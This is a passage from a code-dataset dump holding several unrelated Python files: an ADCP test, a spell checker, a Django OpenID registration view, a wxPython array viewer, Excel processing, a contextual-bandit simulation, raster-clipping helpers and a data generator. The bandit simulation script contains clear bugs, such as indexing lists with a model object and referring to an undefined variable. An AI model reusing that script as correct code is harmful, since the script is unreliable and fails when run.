outputs\n expected_bins = np.array([441., 437., 433., 429., 425., 421., 417., 413., 409., 405., 401., 397., 393., 389.,\n 385., 381., 377., 373., 369., 365., 361., 357., 353., 349., 345., 341., 337., 333.,\n 329.])\n # calculate bin depths\n calculated_bins = af.adcp_bin_depths_pd8(dist_first_bin, bin_size, num_bins, sensor_depth, adcp_orientation)\n\n # compare calculated results to expected results\n np.testing.assert_allclose(calculated_bins, expected_bins, rtol=0.000001, atol=0.000001)\n\n # test inputs\n adcp_orientation = 0\n bin_size = 400\n dist_first_bin = 900\n num_bins = 29\n sensor_depth = 7\n # expected outputs\n expected_bins = np.array([16., 20., 24., 28., 32., 36., 40., 44., 48., 52., 56., 60., 64., 68., 72., 76., 80., 84.,\n 88., 92., 96., 100., 104., 108., 112., 116., 120., 124., 128.])\n # calculate bin depths\n calculated_bins = af.adcp_bin_depths_pd8(dist_first_bin, bin_size, num_bins, sensor_depth, adcp_orientation)\n\n # compare calculated results to expected results\n np.testing.assert_allclose(calculated_bins, expected_bins, rtol=0.000001, atol=0.000001)\n","sub_path":"ion_functions/data/test/test_adcp_functions.py","file_name":"test_adcp_functions.py","file_ext":"py","file_size_in_byte":16745,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"16558760","text":"import re\nimport string\nimport difflib\n\ndef Exit():\n print(\"Exiting Program!!\")\n exit(0)\n\ndef checkSpell():\n file = open(\"words.txt\", \"r\")\n userInput = input(\"Enter the word to check - \").lower()\n\n for line in file.readlines():\n if re.findall('\\\\b'+userInput+'\\\\b', line.lower(), re.I):\n print(\"Spelling is correct\")\n Exit()\n else:\n continue\n\n file.close()\n file = open(\"words.txt\", \"r\")\n\n print(\"Word is incorrectly spelled\")\n\n line = \"\"\n\n lines = [word.split(\",\") for word in file.readlines()]\n\n print(\"Did you mean ? : \")\n\n modList = []\n\n for words in lines:\n for word in words:\n modList.append(word)\n\n word = \"\"\n\n strippedList = [word.rstrip() for word in modList]\n\n result = difflib.get_close_matches(str(userInput), strippedList, 1)\n\n print(str(result))\n\n file.close()\n\n\n#main\ncheckSpell()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":915,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"609869715","text":"\nimport re\n\nfrom django import forms\nfrom django.contrib.auth import login as log_user_in, load_backend\nfrom django.shortcuts import render_to_response\nfrom django.http import HttpResponseRedirect\nfrom django.template import RequestContext\nfrom django.contrib.auth.models import User\nfrom emailconfirmation.models import EmailAddress\n\nfrom django_openidauth.models import associate_openid\n\nalnum_re = re.compile(r'^\\w+$')\n\nclass RegistrationFormOpenID(forms.Form):\n username = forms.CharField(label=\"Username\", max_length=30, widget=forms.TextInput())\n email = forms.EmailField(label=\"Email (optional)\", required=False, widget=forms.TextInput())\n\n def clean_username(self):\n if not alnum_re.search(self.cleaned_data[\"username\"]):\n raise forms.ValidationError(u\"Usernames can only contain letters, numbers and underscores.\")\n try:\n user = User.objects.get(username__exact=self.cleaned_data[\"username\"])\n except User.DoesNotExist:\n return self.cleaned_data[\"username\"]\n raise forms.ValidationError(u\"This username is already taken. Please choose another.\")\n\n def save(self):\n username = self.cleaned_data[\"username\"]\n email = self.cleaned_data[\"email\"]\n new_user = User.objects.create_user(username, \"\", \"!\")\n \n if email:\n new_user.message_set.create(message=\"Confirmation email sent to %s\" % email)\n EmailAddress.objects.add_email(new_user, email)\n return new_user\n\ndef register(request, success_url='/accounts/register/complete/',\n template_name='openid_register.html', already_registered_url='/'):\n \"\"\"\n Allows a new user to register an account. A customised variation of the\n view of the same name from django-registration.\n\n Context::\n form\n The registration form\n\n Template::\n registration/registration_form.html (or template_name argument)\n\n \"\"\"\n if request.method == 'POST':\n form = RegistrationFormOpenID(request.POST)\n\n if form.is_valid():\n new_user = form.save()\n associate_openid( new_user, request.openid )\n\n # Unfortunately we have to annotate the user with the\n # 'django.contrib.auth.backends.ModelBackend' backend, or stuff breaks\n backend = load_backend('django.contrib.auth.backends.ModelBackend')\n new_user.backend = '%s.%s' % (\n backend.__module__, backend.__class__.__name__\n )\n log_user_in(request, new_user)\n\n return HttpResponseRedirect(success_url)\n else:\n if request.user.is_authenticated():\n return HttpResponseRedirect( already_registered_url )\n form = RegistrationFormOpenID()\n\n return render_to_response(template_name, { 'form': form },\n context_instance=RequestContext(request))\n","sub_path":"PriceAndTalkHelper/website/apps/local_apps/django_openidauth/regviews.py","file_name":"regviews.py","file_ext":"py","file_size_in_byte":2887,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"340372189","text":"\"\"\"\nType view for arrays\n\"\"\"\nfrom ptk_lib.core_tools.views import TypeView\nimport wx\nimport wx.grid\n\nclass ArrayView(TypeView):\n \"\"\"Array viewer\"\"\"\n def __init__(self, viewer, oname, eng):\n TypeView.__init__(self, viewer, oname, eng)\n\n self.table = ArrayTable(oname,eng)\n self.grid = wx.grid.Grid(self,-1)\n self.grid.SetTable(self.table)\n self.grid.SetColLabelSize(17)\n\n sizer = wx.BoxSizer(wx.VERTICAL)\n self.SetSizer(sizer)\n sizer.Add(self.grid,1,wx.EXPAND|wx.ALL,0)\n self.RefreshView()\n\n def RefreshView(self):\n \"\"\"Update the grid array size if needed\"\"\"\n if self.disabled:\n return\n\n ndim = self.eng.evaluate(self.oname+'.ndim')\n if ndim >2:\n self.viewer.ShowMessage('Cannot display arrays with more than two dimensions','info')\n #this updates the grid directly\n #self.table.RefreshTable()\n\n def DisableView(self):\n \"\"\"Overloaded DisableView method\"\"\"\n self.disabled = True\n self.grid.Disable()\n self.table.Disable()\n self.Disable()\n\n def EnableView(self,eng):\n \"\"\"Overloaded EnableView method\"\"\"\n self.eng = eng\n self.disabled = False\n self.grid.Enable()\n self.table.Enable(eng)\n self.Enable()\n\n#---------------------------------------------------------------------------\nclass ArrayTable(wx.grid.PyGridTableBase):\n \"\"\"A custom grid table to get data from an array (of upto 2dimensions)\"\"\"\n def __init__(self, oname,eng):\n wx.grid.PyGridTableBase.__init__(self)\n self.oname = oname\n self.eng=eng\n self.disabled = False\n\n #reference to message bus for sending engine state change msesages\n app = wx.GetApp()\n self.msg_bus = app.msg_bus\n\n #set some table/grid attributes\n self.cell=wx.grid.GridCellAttr()\n self.cell.SetBackgroundColour(wx.WHITE)\n \n self.shape,self.ndim = self.eng.evaluate('('+self.oname+'.shape ,'+self.oname+'.ndim )')\n\n\n #---Overloaded methods for this virtual grid--------------------------------\n def GetAttr(self, row, col, kind):\n self.cell.IncRef()\n return self.cell\n\n def GetNumberRows(self):\n if self.ndim == 1:\n return 1\n elif self.ndim == 2: \n return self.shape[0]\n else:\n return 1\n \n def GetNumberCols(self):\n if self.ndim == 1:\n return self.shape[0]\n elif self.ndim == 2:\n return self.shape[1]\n else:\n return 1\n\n def IsEmptyCell(self, row, col):\n return False\n \n def GetValue(self, row, col):\n if self.disabled:\n return ''\n if self.ndim ==1:\n value = self.eng.evaluate(self.oname+'['+str(col)+']')\n elif self.ndim ==2 :\n value = self.eng.evaluate(self.oname+'['+str(row)+','+str(col)+']')\n else:\n value = ''\n return value\n\n def SetValue(self, row, col, value):\n if self.disabled:\n return None\n if self.ndim == 1:\n self.eng.execute(self.oname+'['+str(col)+']='+str(value))\n elif self.ndim == 2:\n self.eng.execute(self.oname+'['+str(row)+','+str(col)+']='+str(value))\n #publish engine state change message\n self.eng.notify_change()\n\n def GetColLabelValue(self,col):\n if self.ndim<=2:\n return str(col)\n else:\n return ''\n\n def GetRowLabelValue(self, row):\n if self.ndim==1 or self.ndim==2:\n return str(row)\n else:\n return ''\n\n def RefreshTable(self):\n \"\"\"Update the table shape and ndim and adjust the grid as needed\"\"\"\n if self.disabled:\n return\n\n shape,ndim = self.eng.evaluate('('+self.oname+'.shape ,'+self.oname+'.ndim )')\n \n #get old size\n if self.ndim==1:\n oldrows = 1\n oldcols = self.shape[0]\n elif self.ndim==2:\n oldrows,oldcols = self.shape\n else:\n oldrows,oldcols = (1,1)\n \n #calculate adjustment\n if ndim==1:\n rowadjust = 1-oldrows\n coladjust = shape[0]-oldcols\n elif ndim==2:\n rowadjust = shape[0]-oldrows\n coladjust = shape[1]-oldcols\n else:\n rowadjust = 1-oldrows\n coladjust = 1-oldcols\n\n #store new shape and ndim\n self.ndim=ndim\n self.shape=shape\n\n #apply adjustments if needed\n view = self.GetView()\n if rowadjust <0:\n #delete rows\n m = wx.grid.GridTableMessage(self,wx.grid.GRIDTABLE_NOTIFY_ROWS_DELETED,0,-rowadjust)\n view.ProcessTableMessage(m)\n elif rowadjust>0:\n #add rows\n m = wx.grid.GridTableMessage(self,wx.grid.GRIDTABLE_NOTIFY_ROWS_APPENDED,rowadjust)\n view.ProcessTableMessage(m)\n if coladjust <0:\n #delete cols\n m = wx.grid.GridTableMessage(self,wx.grid.GRIDTABLE_NOTIFY_COLS_DELETED,0,-coladjust)\n view.ProcessTableMessage(m)\n elif coladjust>0:\n #add cols\n m = wx.grid.GridTableMessage(self,wx.grid.GRIDTABLE_NOTIFY_COLS_APPENDED,coladjust)\n view.ProcessTableMessage(m)\n view.ForceRefresh()\n\n def Disable(self):\n self.disabled = True\n\n def Enable(self,eng):\n self.eng = eng\n self.disabled = False\n self.RefreshTable()\n","sub_path":"PythonToolkit-14.04.04/ptk_lib/core_tools/numpy_pack/array_view.py","file_name":"array_view.py","file_ext":"py","file_size_in_byte":5529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"417738965","text":"# -*- encoding: utf-8 -*-\n\"\"\"\nexcel2excel5.py\nCreated on 2018/1/2 17:17\nCopyright (c) 2018/1/2, \n@author: 小马同学(majstx@163.com)\n\"\"\"\n\nimport xlrd\nimport openpyxl\nimport os\n\n\"\"\"\n提取天方达.xls文件的综述和建议,该综述建议没有结束标志 体检结论:\n\"\"\"\n\n\ndef xls2xlsx():\n # 人的信息\n tjbh = file.split('_')[0]\n\n # 项目的信息\n for i in range(0, nrows):\n flag = sheetd.cell(i, 0).value\n if flag == '综 述:':\n zsi = i\n if flag == '建 议:':\n jyi = i\n\n if not 'jyi' in locals().keys(): # 判断是否有建议,也就是看jyi是否定义\n # 综述\n zsvaluez = ''\n for i in range(zsi, jyi):\n zsvalue = sheetd.cell(i, 1).value\n zsvaluez = zsvaluez + zsvalue\n # 建议\n jyvaluez = ''\n else:\n # 综述\n zsvaluez = ''\n for i in range(zsi, jyi):\n zsvalue = sheetd.cell(i, 1).value\n zsvaluez = zsvaluez + zsvalue\n # 建议\n jyvaluez = ''\n for i in range(jyi, nrows):\n jyvalue = sheetd.cell(i, 1).value\n jyvaluez = jyvaluez + jyvalue\n\n sheet.cell(row=row_num, column=1).value = tjbh\n sheet.cell(row=row_num, column=2).value = zsvaluez\n sheet.cell(row=row_num, column=3).value = jyvaluez\n\n\nif __name__ == '__main__':\n workbook = openpyxl.Workbook()\n sheet = workbook.active # 原始表\n pebt_list = ['体检编号', '综述', '建议']\n sheet.append(pebt_list)\n # dict_allindex = dict(zip(pebt_list, range(1, len(pebt_list) + 1)))\n\n path = u\"E:/原始数据/xls格式的数据/松滋人民医院/总/\" # 数据源路径\n files = os.listdir(path)\n row_num = 2\n for file in files:\n\n # print u\"现在处理的的是第%d个人的数据\" % row_num\n try:\n wbd = xlrd.open_workbook(u\"E:/原始数据/xls格式的数据/松滋人民医院/总/%s\" % file)\n except:\n print(\"{0}该文件格式无效\".format(file))\n continue\n sheetd = wbd.sheets()[0]\n nrows = sheetd.nrows\n ncols = sheetd.ncols\n xls2xlsx()\n\n row_num += 1\n\n print('save zj...')\n workbook.save(u\"C:/Users/meridian/Desktop/处理后的数据(3.6以后)/松滋人民医院out/松滋人民医院__综述建议.xlsx\")\n print('save over')\n","sub_path":"excelpro3/tfdxls2xlsx/excel2excelzj2.py","file_name":"excel2excelzj2.py","file_ext":"py","file_size_in_byte":2365,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"569532787","text":"import pandas as pd, numpy as np, re\nimport dill\nfrom sklearn.preprocessing import MultiLabelBinarizer\nfrom sklearn.linear_model import SGDClassifier\n\ndef parse_data(file_name):\n features = list()\n labels = list()\n with open(file_name, 'rt') as f:\n f.readline()\n for l in f:\n if bool(re.search(\"^[0-9]\", l)):\n g = re.search(\"^(([0-9]{1,2},?)+)\\s(.*)$\", l)\n labels.append([int(i) for i in g.group(1).split(\",\")])\n features.append(eval(\"{\" + re.sub(\"\\s\", \",\", g.group(3)) + \"}\"))\n else:\n l = l.strip()\n labels.append([])\n features.append(eval(\"{\" + re.sub(\"\\s\", \",\", l) + \"}\"))\n features = pd.DataFrame.from_dict(features).fillna(0).iloc[:,:].values\n mlb = MultiLabelBinarizer()\n y = mlb.fit_transform(labels)\n return features, y\n\nX, y = parse_data(\"loc_1.txt\")\n\nwith open(\"model_0_loc1.dill\", 'rb') as model_file:\n model = dill.load(model_file)\n\n# batch size - algorithms will be refit after N rounds\nbatch_size=50\nnchoices = y.shape[1]\n\n\n# initial seed - all policies start with the same small random selection of actions/rewards\nfirst_batch = X[:batch_size, :]\naction_chosen = np.random.randint(nchoices, size=batch_size)\nrewards_received = y[np.arange(batch_size), action_chosen]\n\nlst_a_ucb = action_chosen.copy()\nlst_actions = [lst_a_ucb]\n\n# These lists will keep track of the rewards obtained by each policy\nrewards_ucb = [list()]\n\nlst_rewards = [rewards_ucb]\n\n\n\n# rounds are simulated from the full dataset\ndef simulate_rounds(model, rewards, actions_hist, X_global, y_global, batch_st, batch_end):\n np.random.seed(batch_st)\n \n ## choosing actions for this batch\n actions_this_batch = model.predict(X_global[batch_st:batch_end, :]).astype('uint8')\n \n # keeping track of the sum of rewards received\n rewards.append(y_global[np.arange(batch_st, batch_end), actions_this_batch].sum())\n \n # adding this batch to the history of selected actions\n new_actions_hist = np.append(actions_hist, actions_this_batch)\n \n # now refitting the algorithms after observing these new rewards\n np.random.seed(batch_st)\n model.fit(X_global[:batch_end, :], new_actions_hist, y_global[np.arange(batch_end), new_actions_hist])\n print(new_actions_hist)\n return new_actions_hist\n\n# now running all the simulation\nfor i in range(int(np.floor(X.shape[0] / batch_size))):\n batch_st = (i + 1) * batch_size\n batch_end = (i + 2) * batch_size\n batch_end = np.min([batch_end, X.shape[0]])\n \n lst_actions[model] = simulate_rounds([model],\n lst_rewards[model],\n lst_actions[model],\n X, y,\n batch_st, batch_end)\n\n \n#plotting\n\nimport matplotlib.pyplot as plt\nfrom pylab import rcParams\n\ndef get_mean_reward(reward_lst, batch_size=50):\n mean_rew=list()\n for r in range(len(reward_lst)):\n mean_rew.append(sum(reward_lst[:r+1]) * 1.0 / ((r+1)*batch_size))\n return mean_rew\n\n\nimport scipy.stats as st\ny1 = get_mean_reward(rewards_ucb)\n\nx1 = [index for index in range(len(rewards_ucb))]\n\ndef CI_model(y, confidence = 0.95):\n std_err_y = st.sem(y1)\n n_y = len(y1)\n h_y = std_err_y * st.t.ppf((1 + confidence) / 2, n_y - 1)\n return h_y\n\nh_y1, = CI_model(y1)\nplt.errorbar(x1, y1, yerr= h_y1)\n\nplt.plot(np.repeat(y.mean(axis=0).max(),len(rewards_sft)),linewidth=4,ls='dashed')\n\n\nplt.xlabel('Rounds (models were updated every 50 rounds)', size=10)\nplt.ylabel('Cummulative Mean Reward', size=10)\n#plt.title('Comparison of Online Contextual Bandit Policies in location 7\\n(Base Algorithm is Logistic Regression with data fit in streams)\\n\\nDataset\\n(159 categories, 1836 attributes)',size=30)\nplt.savefig(\"loc_1_test3.png\", bbox_inches='tight', dpi = 600)","sub_path":"example/loc1/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":3934,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"240800693","text":"# Copyright 2015 Belkin Alexey Igorevich\n# Licensed under the Apache License, Version 2.0\n\nfrom PySide import QtCore, QtGui\n\nclass Del_Groups(object):\n def __init__(self):\n super(Del_Groups, self).__init__()\n # self.list_groups.addItems(list_groups)\n\n def setupUi(self, Form_Groups):\n Form_Groups.setObjectName(\"Form_Groups\")\n Form_Groups.resize(356, 265)\n self.gridLayout_2 = QtGui.QGridLayout(Form_Groups)\n self.gridLayout_2.setObjectName(\"gridLayout_2\")\n self.gridLayout = QtGui.QGridLayout()\n self.gridLayout.setObjectName(\"gridLayout\")\n self.list_groups = QtGui.QListWidget(Form_Groups)\n self.list_groups.setObjectName(\"list_groups\")\n self.gridLayout.addWidget(self.list_groups, 0, 0, 1, 2)\n self.btn_OK = QtGui.QPushButton(Form_Groups)\n self.btn_OK.setObjectName(\"btn_OK\")\n self.gridLayout.addWidget(self.btn_OK, 1, 0, 1, 1)\n self.btn_cancel = QtGui.QPushButton(Form_Groups)\n self.btn_cancel.setObjectName(\"btn_cancel\")\n self.gridLayout.addWidget(self.btn_cancel, 1, 1, 1, 1)\n self.gridLayout_2.addLayout(self.gridLayout, 0, 0, 1, 1)\n\n self.retranslateUi(Form_Groups)\n QtCore.QMetaObject.connectSlotsByName(Form_Groups)\n # Bindings\n self.btn_cancel.clicked.connect(self.Cancel)\n self.btn_OK.clicked.connect(self.Delete)\n\n def retranslateUi(self, Form_Groups):\n Form_Groups.setWindowTitle(QtGui.QApplication.translate(\"Form_Groups\", \"Delete Groups\", None, QtGui.QApplication.UnicodeUTF8))\n self.btn_OK.setText(QtGui.QApplication.translate(\"Form_Groups\", \"Delete\", None, QtGui.QApplication.UnicodeUTF8))\n self.btn_cancel.setText(QtGui.QApplication.translate(\"Form_Groups\", \"Close\", None, QtGui.QApplication.UnicodeUTF8))\n\n","sub_path":"del_groups.py","file_name":"del_groups.py","file_ext":"py","file_size_in_byte":1817,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"601136378","text":"import os\nimport re\nimport shapely.geometry\nimport geopandas as gpd\nimport rasterio\nimport rasterio.mask\nimport rasterio.plot\nimport matplotlib.pyplot as plt\nfrom shapely.ops import cascaded_union, polygonize\nfrom scipy.spatial import Delaunay\nimport numpy as np\nimport math\n\n# - https://github.com/Toblerity/Shapely/issues/1005\nimport shapely\nshapely.speedups.disable()\n\n\ndef find_latlong(name_list):\n lat_idx = [i for i, j in enumerate([re.match(\"lat\", name) for name in name_list]) if j is not None]\n lon_idx = [i for i, j in enumerate([re.match(\"l.*n.*g.*\", name) for name in name_list]) if j is not None]\n\n lat_name = name_list[lat_idx][0]\n lon_name = name_list[lon_idx][0]\n\n return lat_name, lon_name\n\n\ndef alpha_shape(points, alpha):\n \"\"\"\n Compute the alpha shape (concave hull) of a set\n of points.\n @param points: Iterable container of points.\n @param alpha: alpha value to influence the\n gooeyness of the border. Smaller numbers\n don't fall inward as much as larger numbers.\n Too large, and you lose everything!\n \"\"\"\n if len(points) < 4:\n # When you have a triangle, there is no sense\n # in computing an alpha shape.\n return shapely.geometry.MultiPoint(list(points)).convex_hull\n\n\n def add_edge(edges, edge_points, coords, i, j):\n \"\"\"\n Add a line between the i-th and j-th points,\n if not in the list already\n \"\"\"\n if (i, j) in edges or (j, i) in edges:\n # already added\n return\n edges.add( (i, j) )\n edge_points.append(coords[ [i, j] ])\n\n coords = np.array([point.coords[0]\n for point in points])\n tri = Delaunay(coords)\n edges = set()\n edge_points = []\n\n # loop over triangles:\n # ia, ib, ic = indices of corner points of the\n # triangle\n for ia, ib, ic in tri.vertices:\n pa = coords[ia]\n pb = coords[ib]\n pc = coords[ic]\n\n # Lengths of sides of triangle\n a = math.sqrt((pa[0]-pb[0])**2 + (pa[1]-pb[1])**2)\n b = math.sqrt((pb[0]-pc[0])**2 + (pb[1]-pc[1])**2)\n c = math.sqrt((pc[0]-pa[0])**2 + (pc[1]-pa[1])**2)\n\n # Semiperimeter of triangle\n s = (a + b + c)/2.0\n\n # Area of triangle by Heron's formula\n area = math.sqrt(s*(s-a)*(s-b)*(s-c))\n circum_r = a*b*c/(4.0*area)\n\n # Here's the radius filter.\n if circum_r < 1.0/alpha:\n add_edge(edges, edge_points, coords, ia, ib)\n add_edge(edges, edge_points, coords, ib, ic)\n add_edge(edges, edge_points, coords, ic, ia)\n m = shapely.geometry.MultiLineString(edge_points)\n triangles = list(polygonize(m))\n return cascaded_union(triangles), edge_points\n\n\ndef mask_raster(raster, mask_shapes, out_path=\".\", write=False, crop=True):\n \"\"\"\n Clip and mask raster based on polygon shapefile border.\n :param raster: rasterio dataset to clip\n :param mask_shapes: geojson of coordinates to clip to\n :param out_path: if writing, filepath for new raster file\n :param write: boolean-- should new raster be written to file?\n :return: clipped and masked raster and metadata\n \"\"\"\n out_image, out_transform = rasterio.mask.mask(raster, mask_shapes, crop=crop)\n out_meta = raster.meta.copy()\n out_meta.update({'driver': 'GTiff',\n 'height': out_image.shape[1],\n 'width': out_image.shape[2],\n 'transform': out_transform})\n\n if write:\n print(\"saving\")\n with rasterio.open(out_path, 'w', **out_meta) as out_file:\n out_file.write(out_image)\n\n return out_image, out_meta\n\n\ndef make_shapefile(data, type, from_crs=\"default\", to_crs=None, alpha=10,\n lat_name='latitude', lon_name='longitude'):\n \"\"\"\n From a dataframe of lat-longs, create a shapefile with the desired properties.\n :param data: pd.DataFrame with, at minimum, columns named \"latitude\" and \"longitude\"\n :param type: one of \"point\", \"bbox\", \"buffer\" \"concave_hull\", or \"convex_hull\", determining\n whether/how to draw polygons around the points in data.\n :param from_crs: dict or string with valid geopandas coordinate reference system, see\n http://geopandas.org/projections.html. This will usually be {'init' :'epsg:4326'}\n :param to_crs: if shapefile needs to be reprojected, new crs.\n :param alpha: if type is \"convex hull\", determines 'tightness' of hull around points.\n if type is \"buffer\", determines radius of buffer.\n :param lat_name: str, name for the latitude column\n :param lon_name: str, name for the longitude column\n :return: a geodataframe with the new shapefile points.\n \"\"\"\n\n def make_points(data):\n data.dropna(inplace=True)\n points = [shapely.geometry.Point(xy) for xy in zip(data[lon_name], data[lat_name])]\n data.drop([lat_name, lon_name], axis=1, inplace=True)\n point_df = gpd.GeoDataFrame(data,\n geometry=points)\n return point_df\n\n if type==\"point\":\n shape_df = make_points(data)\n\n elif type==\"convex_hull\":\n points_df = make_points(data)\n points = points_df['geometry'].tolist()\n point_collection = shapely.geometry.MultiPoint(points)\n\n convex_hull = point_collection.convex_hull\n shape_df = gpd.GeoDataFrame({'geometry': [convex_hull]})\n\n elif type==\"concave_hull\":\n points_df = make_points(data)\n points = points_df['geometry'].tolist()\n\n concave_hull, edge_points = alpha_shape(points, alpha=alpha)\n shape_df = gpd.GeoDataFrame({'geometry': [concave_hull]})\n\n elif type==\"bbox\":\n min_x, max_x, min_y, max_y = data[lon_name].min(), data[lon_name].max(), data[lat_name].min(), data[lat_name].max()\n bounds = [(min_x, max_y), (max_x, max_y), (max_x, min_y), (min_x, min_y)]\n poly = shapely.geometry.Polygon(bounds)\n\n shape_df = gpd.GeoDataFrame({'geometry': [poly]})\n\n elif type==\"buffer\":\n points_df = make_points(data)\n points = points_df['geometry'].tolist()\n point_collection = shapely.geometry.MultiPoint(points)\n\n buffer = point_collection.buffer(distance=alpha)\n shape_df = gpd.GeoDataFrame({'geometry': [buffer]})\n\n else:\n raise ValueError(\"shapefile type \" + type + \" not recognized!\")\n\n shape_df.crs = {'init' :'epsg:4326'} if from_crs==\"default\" else from_crs\n\n if to_crs:\n shape_df = shape_df.to_crs(to_crs)\n\n return shape_df\n\n\ndef run_all_clipping(raster_path, out_path, shapefile_type, outfilename,\n grid_data, shp_outpath, overwrite=False,\n alpha=15, out_name=\"raster\", write_shp=True, crop=True):\n\n if not os.path.exists(out_path):\n os.makedirs(out_path)\n\n # load the first file, get projection\n print(\"loading raster for projection\")\n in_raster = rasterio.open(raster_path)\n\n print(\"creating shapefile\")\n\n lat_name, lon_name = find_latlong(grid_data.columns)\n\n shp = make_shapefile(grid_data.copy(), type=shapefile_type,\n to_crs=in_raster.crs.to_dict(), alpha=alpha,\n lat_name=lat_name, lon_name=lon_name)\n\n if write_shp:\n if not os.path.exists(shp_outpath):\n os.mkdir(shp_outpath)\n shp.to_file(shp_outpath)\n\n # clip raster\n mask_shapes = [shapely.geometry.mapping(g) for g in shp['geometry']]\n\n print( raster_path)\n out_tif_name = outfilename.split('.')[0] + '.tif'.format(out_name=out_name)\n\n out_fname = os.path.join(out_path, out_tif_name)\n if os.path.isfile(out_fname) and not overwrite:\n print(\"clipped raster already exists\")\n\n print(\"loading input raster \" + raster_path)\n in_raster = rasterio.open(raster_path)\n mask_raster(in_raster, mask_shapes, out_fname, write=True, crop=crop)\n\n print(\"plotting\")\n\n fig, axes = plt.subplots(1, 1, sharex=True, sharey=True)\n axes = [axes]\n\n ## collapse list if necessary\n try:\n axes_list = [item for sublist in axes for item in sublist]\n except:\n axes_list = [item for item in axes]\n\n to_plot = rasterio.open(out_fname)\n\n ax = axes_list.pop(0)\n\n rasterio.plot.show(to_plot, ax=ax)\n ax.set_title(\"INDIE population\") # todo: make this variable\n\n plt.savefig(os.path.join(out_path, outfilename.split('.')[0] + '.png'))\n\n return out_fname","sub_path":"simulations/spatial_setup/raster_clipping_and_extraction_functions.py","file_name":"raster_clipping_and_extraction_functions.py","file_ext":"py","file_size_in_byte":8448,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"212738976","text":"import numpy as np\nfrom pywt import wavedec\nimport matplotlib.pyplot as plt\nfrom networkx.drawing.nx_agraph import graphviz_layout\nimport networkx as nx\nimport pandas as pd\nimport seaborn as sns\nimport random\n\n\n\nclass Veri():\n ################################################\n def genData(self, param, show=False):\n a = []\n if param[0] == \"normal\":\n mu, sigma, s = param[1], param[2], param[3]\n a = np.random.normal(mu, sigma, size=s)\n elif param[0] == 'uniform':\n mi, ma, s = param[1], param[2], param[3]\n a = np.random.uniform(mi, ma, s)\n elif param[0] == \"poisson\":\n rate, s = param[1], param[2]\n a = np.random.poisson(rate, s)\n if (show):\n count, bins, ignored = plt.hist(s, 14, density=True)\n return a\n\n def genInstantSymbol(self, verbose =False):\n x = self.symbols[ random.randint(0, 15)]\n if verbose: print(x)\n return x\n ################################################\n def genSample(self, signalCount, verbose=False):\n if verbose: print(\"generate sample data\")\n signals = []\n for i in range(signalCount):\n a = self.genData([\"normal\", 100, 100, self.sample_len])\n # print(a)\n sig = []\n for j in range(self.sample_len):\n sig.append(int(a[j]))\n signals.append(sig)\n for i in range(signalCount):\n if verbose: print(signals[i])\n return signals\n\n ################################################\n def mergeList(self, input_data, verbose=False):\n if verbose:\n print(\"merge data\")\n merged_list = []\n for l in input_data:\n merged_list += list(l)\n return merged_list\n\n ################################################\n def listToPandasDF(self, input_data):\n df = pd.DataFrame(input_data)\n return df\n\n ################################################\n def getWaveletCoefs(self, input_data):\n coefs = []\n\n girdi = np.array(input_data) # np.array([1,2,3,4,5,6,7,8])*1\n coeff = wavedec(girdi, 'haar', level=int(np.log2(len(girdi))))\n coefs = (self.mergeList(coeff))\n return coefs\n\n ################################################\n def generateOperationsSymbols(self, operations_count, Test=False, verbose=False):\n ops_ids = []\n symbolSet = []\n\n for i in range(operations_count):\n if (verbose): print(i, \"\\t\",)\n a = self.genData([\"uniform\", 0, 10, 4])\n a = [int(x) for x in a]\n if (Test):\n a[3] = 0\n go = True\n # a=[4, 5, 9, -5]\n\n rez = 0\n if (int(a[1]) % 4 == 0): # operation is +\n if (a[0] + a[2] > 9):\n go = False\n else:\n rez = a[0] + a[2]\n elif (int(a[1]) % 4 == 1): # operation is -\n if a[0] < a[2]:\n go = False\n else:\n # print(\"here\", a[0] - a[2] , a[0] > a[2])\n rez = a[0] - a[2]\n elif (int(a[1]) % 4 == 2): # operation is *\n if (a[0] * a[2] > 9):\n go = False\n else:\n rez = a[0] * a[2]\n elif (int(a[1]) % 4 == 3): # operation is -\n if (a[2] == 0):\n go = False\n else:\n rez = int(a[0] / a[2])\n # rint(go)\n if go:\n if verbose: print(go, rez)\n a[3] = rez\n ops_ids.append(a)\n symbolSet.append(self.symbols[a[0]])\n symbolSet.append(self.symbols[a[1] % 4 + 10])\n symbolSet.append(self.symbols[a[2]])\n symbolSet.append(self.symbols[14])\n if (not Test):\n symbolSet.append(self.symbols[a[3]])\n else:\n symbolSet.append(self.symbols[15])\n return ops_ids, symbolSet\n\n ################################################\n def quantize(self, input_data, len_of_data, verbose=False):\n borders = [-200, -100, -50, 0, 50, 100, 200]\n borders = [-6000, -4000, -2000, -1000, -500, -100, -50, 0, 50, 100, 500, 1000, 2000, 4000, 6000]\n #borders = [-100, -50, -30, -20, -10, -5, -3, 0, 3, 5, 10, 20, 30, 50, 100]\n sig = []\n if (verbose):\n print(input_data)\n for j in range(int(len(input_data))):\n output = len(borders)\n for k in range(len(borders)):\n if (input_data[j] < borders[k]):\n output = k\n break\n if verbose:\n print(output, \" \",)\n sig.append(output)\n if verbose:\n print()\n return sig\n\n ################################################\n def generateInputData(self, op_count, verbose=False):\n for i in range(10):\n encoded, symbol_based = self.generateOperationsSymbols(op_count, False, verbose)\n if len(symbol_based)>0:\n break\n if (verbose):\n print(\"operation symbols\")\n for i in range(len(symbol_based)):\n print(i, symbol_based[i])\n print()\n return symbol_based\n\n ################################################\n def addNoise(self, data, noise_mean, noise_std):\n return data\n\n ################################################\n def rmse(self, predictions, targets):\n return np.sqrt(((predictions - targets) ** 2).mean())\n\n ################################################\n def displaySymbols(self):\n symbols_correspondence = [\"0\", \"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"+\", \"-\", \"*\", \"/\", \"=\", \"?\"]\n print(\"indice\", \"symbol\", \"pattern\")\n for 